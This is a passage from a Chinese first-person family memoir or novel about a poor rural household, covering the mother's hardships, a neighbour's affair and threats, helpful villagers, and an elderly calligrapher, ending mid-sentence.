我妈妈说:“哪个秀秀?” 我妹妹说:“就是俺同学秀秀。” 我妈妈说:“秀秀才多点儿的小孩儿,怎么怀孕的?” 我妹妹说:“秀秀不是没有娘嘛,她爸爸搁外头打工,也顾不上她,她就跟着她爷爷。她爷爷要种地,还要放羊,她被东庄的一个老头子给□□了。” 我妈妈说:“你是怎么知道的?” 我妹妹说:“是她上学的时候,她老师发现的。秀秀老是咳嗽,她老师带她去医院检查,医生说她有身孕了。东庄儿那个老头子都七十了,秀秀的家人告了,老头子被抓起来了。” 我妈妈说:“没娘的小孩儿,可怜吧!小孩儿嘴馋,人家给她买点好吃的哄着她,她就同意了。” “那个老头儿不死的!把他碎尸万段!”我说。 “他都六七老十了,把他抓起来又能怎么样?” 我妈妈说。 我妈妈心疼这个小女孩儿,就跟我妹妹说:“笑笑啊,你回去上学的时候,你跟秀秀说说,等她中午放学了到咱家来,在咱家吃顿饭。” 我妹妹说:“让她来咱家吃什么饭啊?” 我妈妈说:“咱家也没什么好饭,我种的南瓜,可甜了。我烧个南瓜汤给她喝喝。小孩儿,可怜,没有娘。” 我妹妹说:“人家吃地都比咱家好。你让秀秀来咱家吃饭,人家还看不上呢。” 我妈妈说:“你先跟她说哎。她要是来呢她就来,她要是实在不来就拉倒哎。咱自己喝,我就喜欢吃南瓜。” 那天上午,我妈妈把蒜架子上的又长又黄的大南瓜抱了出来,切了切,煮了一锅南瓜汤。 中午,秀秀来了,跟我妹妹坐在一起等着吃饭。我妈妈给秀秀盛了满满一碗南瓜汤。 “吃吧!乖孩子!”我妈妈跟秀秀说,“我煮地烂烂的、透透的、可甜了。” 哪知道,秀秀说:“我吃不了那么多!俺上学,俺爸爸都是炸馒头片儿给俺带上!” “哦!”我妈妈赶紧把她碗里的南瓜拨到她自己碗里一半儿,然后问她:“这回行了吧?” “嗯,这回差不多!”秀秀说。 我妹妹看了看我妈妈,不说话。我妈妈低头扒自己碗里的南瓜。 等秀秀走了,我妈妈跟我妹妹说:“秀秀这小孩儿,不知道孬好。我叫她来吃个饭,她还不识好,还嫌弃咱家穷来!” 我妹妹说:“我就说的吧,人家秀秀看不上吧。白搭一个大南瓜!” 我妈妈说:“小孩!那怕什么的。咱多算行好了。我去摘秋霉豆去。” 我家没有大门,没有院墙。我妈妈在家门前,用树枝围了一圈高高的篱笆。这个篱笆就成了我家的一面院墙。秋天,篱笆上爬满了紫色的秋霉豆。 “我爱吃秋霉豆。”我妈妈说,“秋霉豆皮子摘下来,上锅煮煮,晒干,熬猪肉可好吃了。”我不想吃秋霉豆,我想吃肉。我也没见过我妈妈用霉豆皮子熬猪肉,我只见过她炒霉豆皮子吃。 霉豆皮子吃不完,我妈妈就摘下放在锅里烫,烫好了,端着去人家屋顶上晒。等到霉豆皮子晒干了,我妈妈就拿到集上去卖。 快过年了,在我家,过年意味着可以买斤猪肉。可是今年,我家因为盖屋,更没有钱买猪肉过年了。 我妈妈说:“今年,咱家就过个回子年吧!不买猪肉了。” “行!”我说,“不吃就不吃,没事儿!” “小事儿!”我弟弟说。我们虽然有些遗憾,但是都没有意见,而且脸上还带着一些不吃猪肉的志气和骨气。毕竟,学还是要上的。上学重要还是吃肉重要,这个道理我们肯定知道。 我妈妈找了根粉笔,站在盖屋剩下的一堆细沙上,在我家新屋的北墙上写了两行诗: “今年过个回子年,人家吃肉俺不吃。不吃猪肉过个年,来年个个考状元。” 过年的时候,村里来了领导,来慰问困难户。我跟我弟弟虽然在学校里也是贫困生,但也不知道怎么应对,就转身儿去屋后喊我妈妈:“妈妈!咱家来人慰问了!” “知道了,我这就过来!”我妈妈喜出望外地说。她去迎接那几个慰问的领导了。我和我弟弟赶紧带着我妹妹躲到了屋后头。留下我妈妈一个人充当困难户。 “谢谢领导!”我妈妈跟那些人说。 “确实困难,确实不容易!”那些人看看我家的破东烂西说。 我跟我弟弟坐在屋后的条凳上,默默地看了看彼此,我们的身上都笼罩着“困难户”的光芒。可是我们尽可能躲避着“困难户”的名声儿,不想出去露面儿。我妹妹倒是一副无所谓的样子,她蹑手蹑脚地走到我家巷子里,想去看看大人们都在说什么。 我不想让我妹妹露面儿去当“困难户”,我妈妈一个人去就够了。我就朝她招招手,压低声音,把她喊过来:“喂,笑笑!过来!过来!” 等我妈妈客客气气地把那些领导送到大门口,那些领导渐渐地离开我家,我们才回到家里。 “人家给咱家送了油、面!”我妈妈喜气洋洋地说,“这回咱家有面包饺子了。恁都嫌咱家破烂,咱家要是不破破烂烂的,人家能给咱恁些东西啊!” 我和我弟弟不说话。我们既高兴又不是太高兴。高兴的是,毕竟我家多了一桶油,多了一袋子面。我家过年的物资又丰富了。我们也想吃饺子。不高兴的是,我们觉得当上“困难户”实在不是一件多么值得光荣的事。 “西院儿的知道了,这回得眼红。多少人家挣着抢着想要慰问,都要不到呢。这是恁大叔特殊照顾咱。”我妈妈说。 我以为我们今年真地吃不上一口肉了。可是一天下午,庄东头的驼背二大娘拄着拐棍儿来了。她手里提着一团什么东西,用塑料袋子裹着。 “二大娘!”我高兴地喊。我们在凡庄没有什么亲朋好友,看到二大娘,像是看到了自己的奶奶一样,异常兴奋、亲切。 “哎!”二大娘答应着。 我妈妈从锅屋里出来:“来了,二嫂子!” “我拿块猪肉,给小孩儿吃。”二大娘说。 “你看你,二嫂子!你给我,我没有什么给你!俺娘几个才说好的,过个回子年的。”我妈妈笑着说。 “哪能哎。怎么也得给小孩儿吃点儿肉!”二大娘走到屋里,把那块肉放在桌子上。我们走过去,扒开那个软软的塑料袋子一看,是肉,白白的肥肉,有半个屁股那么大,我的心里立刻变得有着落了。 一天早上,妈妈说要去山上挖地。等快吃晚饭的时候,她背着粪箕子回家了。她把一包点心放在堂屋进门儿那儿一个破旧的小柜子上。 “这是点心,恁都来吃吧!”我妈妈说。 我们围过去,问她:“妈妈,是你买的吗?” “咱哪有钱买哎!是人家上坟的。人家上完坟就走了,我拿来的。吃吧!没事儿!干净的,我搁旁边儿看着的!人家上完供就走了,一点儿没弄脏。” 我们打开那黄色的装点心的包装纸,里头是带着点儿燃烧过的火纸味儿的点心,各种各样的都有,拿起来一块,放在嘴里,甜甜的。 天快上黑影儿的时候,刘校长突然来我家了。她是来慰问我的。我看到自己的校长跟学校的老师,心里很高兴也很温暖,我赶紧迎了上去。 “刘老师,恁来了?”我跟刘校长说。 “来了,来看看你。”她温和地说。我想,她这回确实是看到了,我家确实很穷。 刘老师站在我家堂屋门口儿,她把一个红包递给我说:“过年了,这是学校给你的。” 我说:“谢谢老师!” 我妈妈也从家后回来了。 她看到刘校长,心理也很感动,她跟刘校长说:“老师恁来了?” 刘校长说:“过年了,来看看宋大省。” 我看刘校长就穿着一件白色的大衣,我握了握她的手说:“老师,你冷吗?” “不冷。”她说,“我上次见到了恁初中学校的朱校长,他给了你一百块钱,让你留着上学喝茶。你拿着吧。” 我接过那张一百块钱说:“谢谢老师。” 刘校长说:“你跟恁妈妈一块儿好好过年,以后有什么困难,再跟我说。” 我妈妈说:“行,谢谢老师了。” 20. 凡乐和小芹娘、立勤大爷爷 1.看门儿的、老头儿 我那阵子跟我班里一个女同学玩地很好。她家就住在镇上。有那么几天,下了晚自习,我就跟她一起骑车到她家。她家里,就她妈妈一个人,她妈妈信耶稣,跟她一样温温柔柔,笑嘻嘻地。 她妈妈说:“前几天,俺家一辆洋车子给人偷去了。我一开始还怪疼地慌。后来,想开了也就不难过了,感谢主!” 那时候,她家电视里正放着一个好看的电视剧,里头有一个很好看的女人,被另一个男人痴情地叫着“秋敏,秋敏……” 我看电视看地入迷,我在我同学家里玩地开心。哪知道,我妈妈到我的学校来了。 当时,还是凌晨四五点钟,学校还没有开大门。我妈妈就抱了一捆柴火,在我们学校门口烤火。看门儿的独居老头儿看到了我妈妈,就把我妈妈喊进门卫室里头暖和。我妈妈冻得抖抖索索,边跟着老头儿走进传达室,边不停地道谢:“谢谢大哥!谢谢大哥!” 看门的老头儿问我妈妈:“大妹妹,你是怎么回事儿啊?” 我妈妈说:“我跟俺家属闹气,跑出来的。” 我妈妈那时候才四十出头儿,看门儿的老头有六十了,他一辈子没婚娶,在学校传达室里开个小卖部。他看到我妈妈,就对她动了心思,又要倒茶给我妈妈喝,又要泡方便面给我妈妈吃。 一大早,我正在教室里,突然有个陌生的同学来喊我,说我妈来学校找我了。我跟着那个同学到了小卖部。一看,我妈妈坐在小卖部里。看门儿的老头儿正坐着跟我妈妈说话呢。他见我来了,笑嘻嘻地看着我。 喊我的那个同学不知道是哪个班的,他跟老头儿说:“给我一个面包,我要买个面包!” 看门儿的老头儿没好气地跟他说:“走吧!今天不卖东西了!” 我问我妈妈:“妈,你怎么来了?你什么时候来的?” 我妈妈说:“我五点钟就来了。天冷,我抱把柴禾搁外头烤火。恁大爷看到了,把我叫进来暖和的。” 我说:“妈,咱家有事儿吗?” 我妈妈把我拉到一边儿,跟我说:“我跟凡乐家的又吵架了了。凡乐家的光扼俺。天天指桑骂槐,见了我就骂。我带着恁小弟小妹先住到立围子恁大姨家里去。我来跟你说说,好让你知道。我怕你到家看不到俺,你心里发急。不行,过几天,俺搬到砖厂住。不住家里了。” 我问她:“哪儿的砖厂?就是西山头下头那个小屋吗?” 我妈妈说:“就是那个小屋。那个地方以前是砖厂。后来人家搬走了,不开砖厂了。” “砖厂能住吗?漫山湖泊的,跟寒窑似的,那里冷吧?俺小弟小妹恁么小,能受得了吧?别有坏人。”我说。 “没事儿。旁边不是住着两个大学生嘛,人家专门儿搁那儿养猪的。”我妈妈说。 我说:“我马上要上课了,要不,我送你去俺同学家里暖和一下吧。我晚上放学去找你。” “我不去,我得回去了。你也赶紧上课去吧。”我妈妈说,“你跟那个看门的老头儿说一声儿,谢谢人家给我开门儿。” 我妈妈走了,我回来继续上课。 看门儿的老头手里提着个暖壶站在小卖部前头。 他看见我,焦急地问我:“恁妈妈呢?” 我说:“俺妈妈回去了。” 老头儿失望地说:“走了?” 我说:“嗯。走了。” 我看他的样子,他的模样并不难看,但是,都六十多了,太老了。他虽然开个小卖部,真要供我们上学,他未必肯供,也未必供得起。 看门儿的老头儿,回到他的小卖部的木板做的窗户底下,拿起一张红纸,那是一张毛笔写的账单,上头密密麻麻地记着一笔笔的欠款。 “都是人家欠我的!”老头笑着对我说。 我丝毫都不心动。我心里想,你一个人独居,别人不来借你的钱才怪。能借你的钱的,都是你的亲朋好友,侄男伯女。人家欠了你的钱,能还你才怪。你太老了,根本不配俺妈妈。你就是开小卖部有几个臭钱,俺也不稀罕。 一个课间,国佩三爷爷跟国佩三奶奶来了。他们在我宿舍楼下等我。 我说:“三佬,三奶奶,恁来了?” 三奶奶说:“俺跟恁三佬一块儿来赶集的。恁妈妈让俺来跟你说一声儿,她带着恁小弟小妹又回到家里住了,让你不要担心,好好上学。” 我说:“哦。麻烦恁了,三奶奶。” 三佬说:“大姐,你看恁妈容易吧。都是为了恁姊妹仨,天天被凡乐家的欺负,东跑西颠地。你可要好好上学,上好了学,就没人敢欺负恁了。” 我说:“知道了三佬。恁跟俺三奶奶,还有国美佬一家,都善良,都帮助俺家。” 三奶奶说:“俺都盼着恁姊妹仨给恁妈争气,等恁都上好了学,成家立业了,恁妈妈在凡庄也就抬起头来了。” 我说:“知道了,三奶奶。” 星期天,我到了家里。果然看到我妈妈就在家里呢。 我说:“妈妈,你之前带着俺小弟小妹住砖厂了?” 我妈妈说:“嗯。俺去住了几天。” 我说:“那你怎么吃饭的?那里又没有锅。” 她说:“吃饭俺就回家烧饭,吃完饭再去干活儿。” 我又问她:“那你后来怎么又回来的?” 我妈妈说:“恁国佩三佬跟恁三奶奶劝我回来的。人家说那里偏僻,别有人把恁小弟小妹给偷走了。” 我说:“你本来就不该住在那儿。” 我妈妈说:“我故意住在那里的。我就是给外人看看,让人家都知道凡乐家的扼咱,把咱扼地在家里都蹲不住了。不这样不行,凡乐家的天天骂邪。” 我问我妈妈:“后来怎么办的?” 我妈妈说:“后来俺去找的大队干部。恁刘叔人好。向咱。人家跟凡乐家的说的。人家一个外地人投亲靠朋的到咱庄上,恁不能这样扼人家。恁这样传出去对咱庄上的名声儿不好,对恁自己名声儿也不好。恁还有三个儿要找媳妇呢。” 我说:“俺刘叔真好。俺刘叔要是一直当官儿就好了。” 我妈妈说:“恁刘叔人家要走了,不打算当官儿了。” 我说:“他要去哪儿?” 我妈妈说:“他要去他老岳家,跟着他大舅子做生意。” 我说:“啊?俺刘叔恁么好,不当大队干部了?” 我妈妈说:“恁刘叔人老实,光受人欺负。” 我说:“啊?他是大队干部也有人欺负他。” 我妈妈说:“嗯,大队干部也跟咱民人一样。太老实了,人家那些人也勾结到一块儿排挤他。” 一天,我妈妈蹲在她的小摊子前卖霉豆皮子。菜市里收费的大爷是个单身汉,他注意到了我妈妈。就跑到我妈妈跟前来问:“大妹妹,我看着你怪好。你年庚多大了?我今年五十了。还没有家属。” 我妈妈说:“大哥!俺家有丈夫。” 收费的大爷还是不甘心。等我妈妈挎着篮子回家,他也尾随着我妈妈一路到了凡庄。 我妈妈前脚到家,他后脚也到了。我妈妈正在拿钥匙开门,回头看到了大爷:“哎哟,恁怎么来了的?大哥!” “我看着你走了,我不由自主地就跟着来了。”收费的大爷说。 “恁赶紧走吧,大哥!俺丈夫去上山挖地了。他马上就回来了。他回来看到,他打你!恁赶紧走吧!”我妈妈说。 “恁丈夫对你好吧?你跟他能过吧?”老头儿问我妈妈说。 “俺丈夫对俺好!俺两个感情可好了。你赶紧走吧!哈!”我妈妈跟大爷好说歹说,大爷才离开。 这一年,我妈妈跟我说:“恁二姨夫死了。” 我说:“怎么死的?是生病吗?” “恁二姨夫骑着洋车子去卖豆橛子,路上被人家的车给撞死了。” “天呢,那后来打官司了吧?” “恁大姨先知道的。恁大姨就看到恁二姨夫背着粪箕子,朝恁大姨走过去,跟她说,‘我走了,恁赶紧去人,去打官司去吧。’恁大姨就知道恁二姨夫出事了。都是你大姨托人,跟人家打的官司。” 我说:“小霞姐现在怎么样了?” 我妈妈说:“小霞结婚了,也是男孩难得。已经生了两个女孩了,小霞搁医院里又生下了一个女孩。实在养不起。她丈夫要把这个小孩女送人。小霞躺搁床上光是哭,也不说话。她丈夫就把那个小女孩送给旁人了,人家接了孩子就走了。他两口子也没问人家要一分钱,也没问人家家是哪里,就稀里糊涂地,把个刚出生的小女孩送给了人家呢。” “天呢!太混蛋了。小霞姐怎么能把她的小孩儿给人家了呢。”我百思不得其解地说。 她们自己的孩子,自己不知道心疼,别人除了惊讶,谁会比她们更加心疼。一大帮子穷亲戚,各过各的苦日子,谁又能顾得上谁?只是可怜了那个可怜的女孩子。可是,即使大家想去寻回那个女孩子也无从寻觅了,小霞姐两口子没有留下人家任何音信啊!可怜的孩子!这两口子真是一对大混蛋啊! 谁知道那个可怜的女娃娃会落到什么样的人的手里呢。谁又知道那个可怜的孩子是死是活,是幸运还是不幸呢。现在的日子好歹饿不死人,哪个孩子愿意生下来就离开爹娘,流落到陌生人的手里啊。你们两口子,你们两个鬼东西,好歹将就着给她口吃的,把她当狗一样养活大啊。实在不行,给自家亲戚啊,你们好歹知道她的音讯死活啊!闺女又如何,儿子又如何?这两个不是东西的混蛋!死东西!造孽啊!希望我那个可怜的小外甥女,遇到个好人家好爹娘,把她当亲生的闺女来疼爱吧!希望我那个可怜的小外甥女儿,这辈子都幸幸福福平平安安的吧! 2.凡乐和小芹娘 大恶心去了上海,小芹的娘有了什么重活儿,都是去喊凡乐帮忙。 “俺二叔啊,恁来给俺帮帮忙儿来!”小芹的娘站在她家巷口子喊道。 凡乐应声儿就去,他给小芹家干活儿,倒比给自己家干活儿还要勤快。 “里活儿懒,外活儿勤。人家的活儿,不累人!”凡乐家的看着凡乐的背影说。 “俺二叔啊,恁家的稻今年长得怎么样?”小芹的娘问凡乐。 “俺家的稻今年蛮好的。”凡乐说。 “俺家的稻不行,可多瘪赤子了。”小芹的娘说。 我那时候,十几岁了,开始观察人的眼神了。我看到,凡乐跟大婶子说话的时候,一直盯着她看。他看看她的脸,再看看她的胸脯那个地方,他的目光在大婶子的胸脯那个地方游动着。凡乐看向大婶子的时候,两个眼里水汪汪的,眼珠子里闪烁着异样的光彩。大婶子倒是稳稳当当,平平常常,看不出什么异样。 我把这事儿跟我妈妈说:“凡乐是个流氓,他盯着俺大婶子看。” 我妈妈不耐烦地说:“你别瞎猜省,人家亲叔公跟亲侄儿媳妇,哪能那样。凡乐这个人是鬼道,我没看出来他流氓的。” 我说:“你对这方面不敏感。我只相信自己的判断。” 我妈妈说:“俺不敏感!你敏感!” 我说:“我现在对男女这方面特别敏感。我见了俺班的男生我都躲着他走。我跟俺班儿里的男生没几个说话的。” 我妈妈说:“同学之间,见了面儿好好说话。也不要弄地跟趔橛子驴样!那样没人喜!” 我说:“没人喜就没人喜呗。我又不稀罕他们喜!” 我妈妈说:“大人不说话,恁小孩儿该怎么搭腔,怎么搭腔,这样,人家好不恨恁。” 从此,我见了凡乐,叫他一声“二爷爷”,就赶紧溜走。 我那时候,正是青春期,对自己是个女孩子充满了羞耻感。在家里,我用白布,给自己缝了两个小褂头儿,穿在里头,把正在发育的胸箍地平平的。在教室里的时候,我从来不到后排的男生堆里去。在校园里,我都是弯着腰走路,仿佛全校园的人都在看我,仿佛我一抬头,天就会被我捅个大窟窿。 我妈妈每天早起去小芹家挑水。这天,她又去小芹家挑水。小芹家的压水井在堂屋门外头,离她家堂屋门很近。天还是黑的,我妈妈正要打水,就听到大婶子屋里两个人在说话。 我妈妈一听,不得了,这男的不是凡乐吗? 小芹娘跟凡乐说:“你看你,连双袜子都没有。俺看着也心疼,回我给你买双袜子。” 凡乐说:“那个婊子娘们儿光知道疼几个小孩,哪像你,知道心疼我。你说你这样的好女人,大恶心怎么不知道心疼的?你说,你要不是遇见我,谁还知道心疼你啊。” 小芹娘说:“你以为就你一个好男人啊?孬蛋也喜欢我,老鲶鱼也喜欢我,我谁都不给,就给你。” 凡乐说:“我知道。我不是天天给你干活儿吗?我上回给你扛稻都累出前列腺了。” 小芹娘问他:“你开刀,俺二婶子得服侍你吧。她埋怨你了吗?” 凡乐说:“能不埋怨吗?‘里活儿懒,外活儿勤。人家的活儿,不累人!’” 小芹娘说:“那你以后还敢给我干活儿吧?” 凡乐说:“干哦。怕她干什么?她跟三个小孩儿是被我给拿下马了。见了我都跟狗样儿!” 小芹娘叹了口气说:“唉!你说俺家小芹怎么办?不好找媳妇。是个结巴子。” 凡乐说:“等小芹长大了,我托人儿给他找媳妇。” 小芹娘说:“我说什么也得给他找个媳妇儿,哪怕是用我的身子换,我也得给他换个媳妇儿。” 凡乐说:“小芹找媳妇还早呢,别发愁了。回我带你赶集去。还不行吗?” 小芹娘说:“赶哪个集啊?” 凡乐说:“就赶青羊山集。” 小芹娘说:“被旁人看见了怎么办?” 凡乐说:“咱俩儿不走一块儿。我搁前头走,你搁后头走。谁知道啊。” 我妈妈吓坏了。她知道这种事情要躲开,否则,要出人命的。 我妈妈挑着洋铁桶,正要仓皇逃回家里去。却见小芹家的屋门“吱呀”一声打开了。凡乐和小芹娘从屋里走了出来。 凡乐正搂着小芹娘,手放在小芹娘胸前,两个人一扭一扭地手舞足蹈地走着。我妈妈挑着洋铁桶,一个躲闪不及,被凡乐看到了。 凡乐看到我妈,一把抓住她的头发,照地上猛地一推,我妈妈“哐当”一下倒在地上。 凡乐指着我妈妈说:“我跟你说!你要是说出去,叫凡庄人知道了,坏了小芹娘的名声儿,我就让你死!” 我妈妈后脑勺着地,一下子昏迷了过去。 凡乐跑了,大婶子也走开了。我妈妈过了一会儿醒了过来,自己挑了空水桶回家去。 这以后,我妈妈不能去小芹家挑水了。我妈妈咬咬牙,在我家天井里打了个压水井。 大婶子以后看到我妈有些羞惭,我妈妈倒是大大方方跟她说话。我妈妈嘴严,不爱嚼舌头,跟姓凡的又很少来往。这一点,大婶子倒是很放心。大婶子跟凡乐都平安无事。 凡乐后来遇到我妈妈,恶狠狠地对她说:“那件事,你不能说出去哈,你要是跟人说了,我就把你的脚拦筋挑断!我早就想吃共产党的花生米儿了!” “花生米儿”是子弹的意思,“吃花生米儿”就是被枪毙。凡乐这是威胁我妈妈呢。 我妈妈把这事儿跟我说了。 她跟我说:“这件事儿我不能跟鸿雁说,鸿雁的嘴不牢靠,爱说瞎话。也不敢跟恁妹妹说。笑笑是个‘快嘴女’,妨碍的话都得躲着她。我跟你说了,你千万不要说出去。” 我说:“哦。” 我妈妈说:“要是凡乐来打我,我就跟他拼刀子。他要是把我捅死了,我爬也爬出凡庄去。恁妈不能充孬种,不能给山东人丢脸。” 后来的一天,我妈妈在西山上薅草,小芹娘也去薅草。两家地挨着。四下里没人儿。小芹娘见了我妈妈不好意思,低头薅草。 我妈妈过去跟她说:“大妹妹,你放心,我不会把那事儿说出去的。” “是我先找的俺二叔!”小芹娘说,“十年前,我就跟俺二叔就好上了。那时候,小芹还小。我想让俺二叔带我跑的,俺二叔不敢,怕跑了,凡庄人笑话。” “大恶心不是人。我跟他没法儿过。小孩儿生病了,我带小孩去看,跟他说,他不管不问,也不给钱,还倒把我熊一顿。”大婶子把草薅地呲呲响,土坷垃蹦到她的脸上,她也来不及擦掉。 小芹娘继续说:“大恶心只生不养,他前头还有一个儿子,跟着他前妻。他前妻跟他离婚了。就嫁在前头的黄庄。” “他还有一个儿子啊?这事儿我真没听说过。”我妈妈说。 “他那个儿子也是因为他对人家不管不问,他前妻才跟他离婚的。他就是到处骗,骗到手了,就不管了。”小芹娘说。 “那你当时怎么就跟了他的?”我妈妈问她。 “找对象都是隔皮猜瓜,谁知道啊。我那时候还小,听信了他的花言巧语,被他迷地五迷三道的。俺娘那时候不让我跟他,差点跳河。”小芹娘说。 “现在有小孩儿了,为了小孩儿,将就着跟他过吧。”我妈妈说,“小孩儿可怜。” “我早就不想跟他了。实在过不下去了。”小芹娘说。 “大恶心现在年纪大了,对你跟小孩儿能好点儿吧?”我妈妈说。 “他现在还是好吃懒做。你没看到?剥蒜、扛袋子,装车,什么活儿都是我一个人干。大恶心就在一边看。要是炒盘子肉,他一个人能吃光喝净,一块都不给我留。倒是俺二叔,又勤快,又能干,知道疼人。”小芹娘说。 “他大婶子,咱娘们儿,你放心,我到死也不会把这事儿说出去!”我妈妈跟她打包票。 “谢谢你。三姐。男人采花骨里有,女人采花活丢丑。你要是说出去,我也就不活了。”小芹娘说。 我妈妈回家跟我说起这事儿,让我不要出去说:“自古奸情出人命。可不要说出去哈。” “知道了,我跟谁说。”我答应着,“相好有什么意思啊,为什么要相好啊?他们不是各有各的家吗?” “相好就跟谈恋爱一样的!”我妈妈说,“那阵子,凡乐天天把他的那件的确良的小白褂儿,洗地煞白,穿在身上。一到晚上就找个因由溜出去,那是去找小芹娘了。” “凡乐家的管不了他啊?” “凡乐家的怕他,不敢明着管。她有时候也跟着找。大夏天,大蒜晒在场里,凡乐说是去看蒜了,那女人就跟到场里去,到场里一看,没有哦,再到别的地方找。有阵子,恁三姑姥娘身体不好,凡乐又说去看恁三姑姥娘了。结果,那女人去恁姑姥娘那里一看,也没见到他的人影儿。凡乐家的也知道,只找,不敢说。” “那大恶心也不知道这事儿啊?” “这种事儿,家属都是最后一个知道的。谁敢说啊?说了,人家男人可能还不承认来,人家还得说你是诬赖他家属的,他还得去骂人家来。弄不好能出人命。” 下大雨了,我要回学校了。 我妈妈跟我说:“我送送你吧。” 我说:“不要送。” 我妈妈说:“我送送你。哗哗地下着麻杆子雨。一个大闺女,妈不放心。” 我看看雨,确实很大。就说:“那行吧。你怎么去?” 我妈妈说:“我披着塑料纸去。裤腿子卷起来,没事儿。”我妈妈说着就披上塑料纸,跟我一起走了出去。 雨还是下的很大。我妈妈跟我一起走在庄西头的小路上。路边,人家的玉米地里,水溜子哗啦啦地流淌。玉米地里的坟前堆着鲜艳的红黄小花。我打着伞,我妈妈两手拽着塑料纸,蹚水往前走。 我妈妈说:“女的不耽事儿,怕雨水激。来月经的时候,不要淋雨。有一个女的,她来了月经了,下大雨,她还帮着家里干活儿,被雨激着了,后来,得了病,没治好,死了。” 前头就是大路了,我看看前面,没有一个人。我心里其实也有些害怕。但我开口跟我妈妈说:“妈妈,你回去吧。我自己去就行。前头就是大路了。没事儿的。” 我妈妈看看前头说:“那好吧。我回去了。你注意安全。” 我说:“行。” 3.立勤大爷爷 该种大蒜了,地里,全是人,家家户户都蹲在地里种大蒜。大蒜种好了,要盖一层薄膜,这时候需要人手。大恶心把我弟弟喊过去:“小鸿雁,过来给我帮帮忙!”我弟弟赶忙跑到他家地头儿上,伸手拿起地上的薄膜,老老实实地帮他扯着。大恶心拿着铁锨,铲起一铁锨土,撒到薄膜上。不知道是大恶心倒土的时候土坷垃碰的,还是我们弟弟扯地太使劲儿了,他手里的薄膜破了一个洞。 大恶心一眼看到了,朝着我弟弟吼叫:“小鸿雁,你是怎么回事?扯个薄膜都扯不好!再不好好扯,我揍你!” 我妈妈看着我弟弟:“小鸿雁,你回来!你扯地不好,不扯!谁扯地好,让他自己扯!”我弟弟看看我妈妈,再看看大恶心,还不太敢回来。 大恶心朝着我妈妈吼道:“你说的是什么屁话!你怎不让他给我扯薄膜的?” “他扯地不好,还让他扯吗?他扯不好你就要揍他,他还给你扯吗?”我妈妈生气地本着脸说。 “他扯不好,我就说他两句儿,你看看你那些熊话?”大恶心拿着铁锨朝我妈妈走来。 “他本来就是小孩儿,他干不好,你别让他干!俺不吃你的不喝你的,你凭什么熊俺的?”我妈妈说。 “你护窝子是吧?你护窝子我也揍你!”大恶心抡起铁锨说。 “你揍我试试!你把我揍死了,你也得蹲法院!我治不了你,共产党能治得了你!”我妈妈说。 “你看我不敢是吧!”大恶心抄起铁锨直奔过来。满地的人都忙着干自家的活儿,没人过问。只有立勤大爷爷站起了身。 “他大哥,干什么的恁是!跟个妇道人家倒腾什么的!赶紧干活去!”立勤大爷爷端着种蒜的塑料盆子走了过来。立勤大奶奶也走过来拉架,她拽着大恶心的膀子,拉着他,用跟南乡口音不同的口音跟他说:“干嘛的?干活儿去!”立勤大奶奶其实脑子有些不灵光。光是她自己,没有人理睬,可是她身后有立勤大爷爷。人家看着大爷爷,也会给大奶奶几分薄面儿。大恶心嘟嘟囔囔地走了。我弟弟也小心地回到我妈妈身边。 “你忙你的,大叔!”我妈妈说。 立勤大爷爷戴着一副眼镜。他识文断字,能写能算,在凡庄算是最有学问。我妈妈一辈子最爱文化,因为成分不好,没有上成学。她对立勤大爷爷本就敬佩。危难之中,又是立勤大爷爷前来解围。我妈妈最是感恩图报的人。这就是我妈妈对立勤大爷爷一家格外友好的原因。 有时候,我们吃过早饭出门儿,路过立勤大爷爷家的时候,一个面目端庄的老太太,正坐在立勤大爷爷家门前的小板凳上,低着头看书。 “你看书的?大奶奶!”我妈妈跟她打招呼,“这是恁立勤大爷爷的岳母。恁给叫老奶奶。”我妈妈跟我们说。 “老奶奶!”我们冲着她喊。 老奶奶抬起头来看看我们,用外地口音说:“恁吃饭了啊!” “俺吃完饭了,大奶奶。恁也吃完饭了?”我妈妈说。 “我吃好了。”老奶奶说。 立勤大爷爷搬着一张绛色油漆的木头桌子出来了。 “恁去哪儿的,三姐?”立勤大爷爷跟我妈妈说。 “我吃完饭没事儿,带着三个小孩儿闲溜达的。大叔。恁老人家准备练字的?” “是的。这两天天好,我出来练练字。”立勤大爷爷说着,戴上他的眼镜,铺上一张报纸。 我妈妈问他:“恁搁哪儿弄那些报纸哎,大叔?” “我搁大队部问清水要的报纸。”立勤大爷爷说。 我妈妈说:“恁大爷爷才分好。谁家红白喜事,都找恁大爷爷坐上席,请恁大爷爷写对联,记账。过年的时候,人家都请恁大爷爷给人家写对联。” “恁那个毛笔字的颜色恁么淡的?大爷爷?”我问他。 “我搁墨汁里头掺了水了。大姐。”立勤大爷爷说。 “恁大爷爷练字儿的,搁墨汁里掺上水,不省墨汁吗?”我妈妈说。 “大姐会写毛笔字吧?” 立勤大爷爷说。 “我不会。我的字儿不好。”我说。 “恁大爷爷的字儿好,回你有空儿来找恁大爷爷,跟他学学。我就热文化。”我妈妈说,“恁写字儿吧,大叔。俺走了。写字儿要安静,不能打扰。” 等我们走远了,我跟我妈妈说:“妈,我看俺大爷爷的岳母长得满洋气的。她还识字。怎么俺大奶奶就恁样儿的。” 我妈妈说:“谁知道来,你说说。恁么精明强干的人,她就生了这样的一个闺女呢。恁大爷爷的岳母对他家帮助可大了,经常给他家寄包裹,衣裳,咸菜,萝卜干儿,什么都寄。有时候,还打来电报,‘请于某月某日来我家’,那是让恁大爷爷一家去她家吃喝去的。恁大爷爷一家收到电报,就提着行李,去青羊山车站等车,一家三口儿去恁大奶奶的娘家住上一阵子。” 我说:“老奶奶对大奶奶恁好的?她都恁么大年纪了,还顾着她这个闺女。” 我妈妈说:“恁这个老奶奶不是她丈夫的原配,她就有恁大奶奶这一个闺女。其他的儿女都是她丈夫的前窝那个老嫲嫲生的。” 我说:“我看俺大爷爷戴着副眼镜,蛮斯文的。” 我妈妈说:“恁大爷爷脾气古怪,爱生气。你以后跟他说话注意点儿,顺着他说。俺跟他说话都是溜着他。人家恁大爷爷心地善良,跟姓凡的不一样。好几回,凡乐跟我吵架,要来打我,都是恁大爷爷一家来拉架,姓凡的都不来拉架。俺对恁大爷爷都是恭恭敬敬的。俺有了什么好吃的,都是端一碗给恁大爷爷一家送去。你以后放了学,没事儿,就去找恁大爷爷坐坐。” 我一开始,对谈论文化的事儿还很感兴趣,周末有空儿了,就去大爷爷家里找他坐坐。 “我这桌子上有一本苏(书),上头全是对联。”立勤大爷爷从他家那张绛色的大桌子上扒拉着。 “在这里。”我说,“是这本儿吗?” “是的。”立勤大爷爷戴上眼镜,翻开那本书说,“你看,这幅对联,是小凤仙写给蔡锷的。” 我一看,那副对联写的是: 